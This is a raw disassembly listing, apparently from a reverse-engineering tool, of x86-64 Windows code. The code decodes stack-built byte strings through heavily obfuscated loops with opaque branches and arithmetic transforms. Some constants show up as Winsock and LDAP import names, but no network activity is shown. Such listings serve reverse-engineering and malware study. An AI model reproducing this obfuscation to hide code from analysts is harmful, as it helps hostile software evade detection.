inc rdi
jmp 0x14008ecb2
movabs rdx, 0x336d846540cfb7b2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008ecae
movabs rcx, 0x7bcc1c63bb06569e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
jmp 0x14008ec9e
lea rcx, [rbp + 0x166a3b8]
jmp 0x14008faf2
lea rcx, [rbp + 0x10b5442]
jmp 0x14008faf2
lea rcx, [rbp + 0x700]
mov rdx, rsi
call fcn.140035b50
lea rdx, [0x140236bd0]
lea rcx, [rbp + 0x1a0]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x110]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rsi, rax
mov byte [rbp + 0x728], Ordinal_143
mov byte [rbp + 0x729], 0xfe
mov byte [rbp + 0x72a], 0xf3
mov byte [rbp + 0x72b], 0xe4
mov byte [rbp + 0x72c], 0xb2
mov byte [rbp + 0x72d], 0x90
mov byte [rbp + 0x72e], 0xf4
mov byte [rbp + 0x72f], 0xf0
mov byte [rbp + 0x730], 0xf3
mov byte [rbp + 0x731], 0xec
mov byte [rbp + 0x732], 0x58
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x733], xmm0
mov qword [rbp + 0x743], rax
movabs r14, 0xc8a6451396bc01af
movabs r12, 0x3c4c8c44b4f4ce31
movabs r13, 0xec3cb6739a68fecb
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rcx, 0xa807eae88d45e7b3
cmp rdi, 0x23
jae 0x140090820
movzx ebx, byte [rbp + rdi + 0x728]
mov r10, rbx
cmp r8, rdi
ja 0x140090814
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008fc33
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x1b
jmp 0x14008fc60
je 0x14009078d
inc rax
cmp r8, rax
je 0x14009071e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400906c2
lea rax, [r9 + 7]
cmp r8, rax
je 0x140090699
nop
cmp r9, rdi
ja 0x140090808
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14008fc94
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x37
add r11b, dl
jmp 0x14008fcc0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140090647
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009061e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400905ea
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400902d4
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400902b0
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140090284
lea rax, [r9 + 5]
cmp r8, rax
je 0x140090256
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140090234
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009020c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400901d9
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400901b5
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140090190
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140090157
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008fcd0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400907e5
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400907c2
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008fea3
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008fe85
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008fe67
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400900fa
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009009d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009004d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009001f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008fcd0
lea r8, [r9 + 0x41]
lea r9, [r8 + 9]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008ffe6
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008ffc1
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008ff9c
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14008ff69
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008ff46
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008ff24
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008fef8
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008fed4
lea r8, [r9 + 0x1000]
lea r9, [r8 + 5]
jmp 0x14008fcd0
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x57
add r11b, dl
jmp 0x14008fcc0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x73
add r11b, dl
jmp 0x14008fc60
movabs rdx, 0x9c2ce0a27fdd2f65
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x3d
add r11b, dl
movabs rcx, 0xa807eae88d45e7b3
jmp 0x14008fbfe
movabs rdx, 0x4532289cb5e00d78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x140090666
movabs rcx, 0xf52252cb9b543e12
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7e
inc r9
dec rdi
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x5502a729663c9f46
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009057a
movabs rcx, 0x4f2d1584bb0cfe0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x1400905a5
movabs rcx, 0xb4e2fb873125007a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x56
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x64d325b616993114
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400906e5
movabs rdx, 0x14c34fe4fc0d61ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140090742
movabs rdx, 0xc4b37a13e1819248
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x728]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008fbe2
movabs rcx, 0x7c8be3891f240bc9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7f
mov byte [rbp + rdi + 0x728], r11b
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x2c7c0db804983c63
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x4b
add r11b, dl
cmp r9, 0x61
jb 0x14009003d
movabs rdx, 0xf32798a849da5152
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x7c]
jmp 0x140090669
movabs rdx, 0xdc6c37e6ea0c6cfd
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x15
add r11b, dl
cmp r8, 0x5a
jae 0x140090556
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400904b4
movabs rdx, 0xd2893e7d40643756
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5a
jmp 0x14009006c
movabs rcx, 0x8c5c6215cf809d97
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x21
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400905bd
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14009041d
movabs rdx, 0x9e2f969a9a835a7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6f
jmp 0x1400900bc
movabs rdx, 0xb3e59e7588680a1a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x728]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x63d5c8a46ddc3ab4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140090742
movabs rdx, 0x13c5f2d353506b4e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x22
jmp 0x1400906e5
movabs rcx, 0xc3b61d0238c49be8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x73a647311e38cc82
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400905a5
movabs rdx, 0x2396716003acfd1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009057a
movabs rdx, 0xd3869b8ee9212db6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008fbe2
movabs rcx, 0x8376c5bdce955e50
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc r9
dec rdi
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x3366efecb4098eea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
jmp 0x140090666
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140090308
movabs rdx, 0xa807eae88d45e7b3
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x1b
add r11b, dl
jmp 0x140090118
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009034e
movabs rdx, 0x914c8a272d78035e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x728]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008fbe2
inc rax
cmp r8, rax
jne 0x14009037e
movabs rdx, 0xe15c5ff84803d2c4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
jmp 0x140090742
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400903af
movabs rdx, 0x316c35c9628fa22a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x26
jmp 0x1400906e5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400903e4
movabs rdx, 0xd18be16b97a740f6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400905a5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140090118
movabs rcx, 0xc1bb62dee74aaf28
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
inc r9
dec rdi
inc rdi
jmp 0x14008fbe2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009044e
movabs rdx, 0x59f2cf3ac434050d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5b
jmp 0x140090666
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140090484
movabs rcx, 0xfa127adcf94ba3d9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x11
dec rdi
inc rdi
jmp 0x14008fbe2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400900bf
movabs rcx, 0x9a32267f2e6342a5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x7d
jmp 0x1400905a5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400904f5
movabs rcx, 0x2299144e5af006bc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
movzx eax, byte [rbp + rdi + 0x728]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008fbe2
inc rax
cmp r8, rax
jne 0x140090526
movabs rdx, 0xc2b8bff09007a588
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400906e5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009006f
movabs rcx, 0xb2e84163dfab13ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
jmp 0x140090580
movabs rdx, 0x43376e79646620b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x728]
sub r11b, al
sub r11b, 8
add r11b, bl
add r11b, dl
movabs rcx, 0xeb3f5961f1ac086b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x13
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x728], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x9347444a7ef1f01e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x728]
add r11b, bl
jmp 0x1400906e5
movabs rcx, 0x9934c96d85a64c45
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1d
movzx eax, byte [rbp + rdi + 0x728]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008fbe2
movabs rcx, 0xb8d5c686e65f6fe1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x27
dec rdi
inc rdi
jmp 0x14008fbe2
movabs rdx, 0x18b61ae4b147d115
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6d
add r11b, dl
movabs rcx, 0x9b2f8390d7203905
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x23
add bl, cl
mov byte [rbp + rdi + 0x728], bl
inc r9
dec rdi
inc rdi
jmp 0x14008fbe2
movabs rcx, 0xd876c3a04718937d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6b
dec rdi
inc rdi
jmp 0x14008fbe2
mov rbx, r10
movabs rdx, 0x98376c5bdce955e5
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x43
add r11b, dl
movabs rdx, 0x3b4f2f330c37d7d1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x49
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x728], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140090745
movabs rdx, 0x4827968ac25d867f
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x79
movzx ebx, r10b
add r11b, dl
movabs rdx, 0xe3571a1b997dbf84
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x728], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x728]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008fbe2
movabs rcx, 0xf817c0b9a7d1b719
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
movzx eax, byte [rbp + rdi + 0x728]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008fbe2
movabs rcx, 0x4c1d0ad165515fff
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 7
jmp 0x14008fbde
movabs rcx, 0xfc0d35004ac59099
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2f
jmp 0x14008fbc6
lea rcx, [rbp + 0x177b36c]
jmp 0x140090827
lea rcx, [rbp + 0x7d9b1f]
jmp 0x140090827
lea rcx, [rbp + 0x728]
mov rdx, rsi
call fcn.140035b50
lea rdx, [0x140236ad0]
lea rcx, [rbp + 0x1c0]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x60]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0x750], Ordinal_45
mov byte [rbp + 0x751], Ordinal_200
mov byte [rbp + 0x752], Ordinal_200
mov byte [rbp + 0x753], Ordinal_217
mov byte [rbp + 0x754], WSASetLastError
mov byte [rbp + 0x755], gethostname
mov byte [rbp + 0x756], Ordinal_217
mov byte [rbp + 0x757], 0xdd
mov byte [rbp + 0x758], Ordinal_217
mov byte [rbp + 0x759], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x75a], xmm0
mov qword [rbp + 0x76a], rax
mov byte [rbp + 0x772], al
movabs rsi, 0xb0fa3b4333cc4ad1
movabs r13, 0xd7aa6458888fd2cd
movabs r14, 0x19847c122617754f
movabs r12, 0x6a2fb36114f7cfb5
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400916d6
movzx r11d, byte [rbp + rbx + 0x750]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400916ca
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140090973
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x65
jmp 0x1400909a0
je 0x140091642
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009160f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400915ae
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009155a
cmp r9, rbx
ja 0x1400916be
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400909d1
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x49
jmp 0x140090a12
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140091536
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009150c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400914e8
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009144f
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009141a
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400910b2
nop
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140091089
lea rax, [r9 + 5]
cmp r8, rax
je 0x140091057
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009102d
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140091009
lea rax, [r9 + 8]
cmp r8, rax
je 0x140090fd2
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140090f99
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140090f70
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140090f4c
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140090f17
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140090a20
lea r8, [r9 + 5]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009169a
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140091676
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140090c13
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140090bf8
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140090bdd
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140090eb1
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140090e4f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140090e00
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140090dd2
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140090a20
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140090d9d
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140090d79
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140090d55
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140090d1c
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140090ce0
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140090cbc
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140090c92
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140090c60
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140090c37
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140090a20
lea r8, [r9 + 3]
lea r9, [r8 + 0xa]
jmp 0x140090a20
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
jmp 0x140090a12
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
jmp 0x1400909a0
movabs rcx, 0xbadaeab003d82a1b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
jmp 0x140090935
movabs rdx, 0x87d1da199e625688
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091579
movabs rdx, 0xd87d11688d42b0ee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140090922
movabs rcx, 0x292848b77c230b54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
dec rbx
inc rbx
jmp 0x140090922
movabs rcx, 0x79d380066b0365ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x1400915cd
movabs rdx, 0xca7eb75559e3c020
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090922
movabs rdx, 0x1b29eea448c41a86
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090922
movabs rcx, 0x6bd525f337a474ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x140091472
movabs rcx, 0xbc805d422684cf52
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x1400914a2
movabs rcx, 0xd2b9491156529b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
movzx eax, byte [rbp + rbx + 0x750]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090922
movabs rcx, 0xd6d79ed66a960bb7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
mov byte [rbp + rbx + 0x750], r10b
inc rbx
jmp 0x140090922
movabs rcx, 0x2782d6255976661d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
cmp r9, 0x40
jb 0x140090df0
movabs rcx, 0xede3fb46694dfdae
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_35
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140091579
movabs rcx, 0x782e0d744856c083
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
cmp r8, 0x42
jae 0x1400913c1
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400912dc
movabs rdx, 0x1494245bbe1185aa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140090e1f
movabs rdx, 0xc8d944c337371ae9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5f
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x1400913f2
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400911fd
movabs rdx, 0x6399e9188a453ad9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x11
add r10b, dl
jmp 0x140090e6e
movabs rcx, 0x25dd639336c9c0e6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
movzx eax, byte [rbp + rbx + 0x750]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090922
movabs rcx, 0x76889ae225aa1b4c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x1400914a2
movabs rdx, 0xc733d231148a75b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091472
movabs rdx, 0x17df0980036ad018
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090922
movabs rcx, 0x688a40cef24b2a7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090922
movabs rcx, 0xb935781de12b84e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400915cd
movabs rcx, 0x9e0af6cd00bdf4a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
dec rbx
inc rbx
jmp 0x140090922
movabs rdx, 0x5a8be6bbbeec39b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140090922
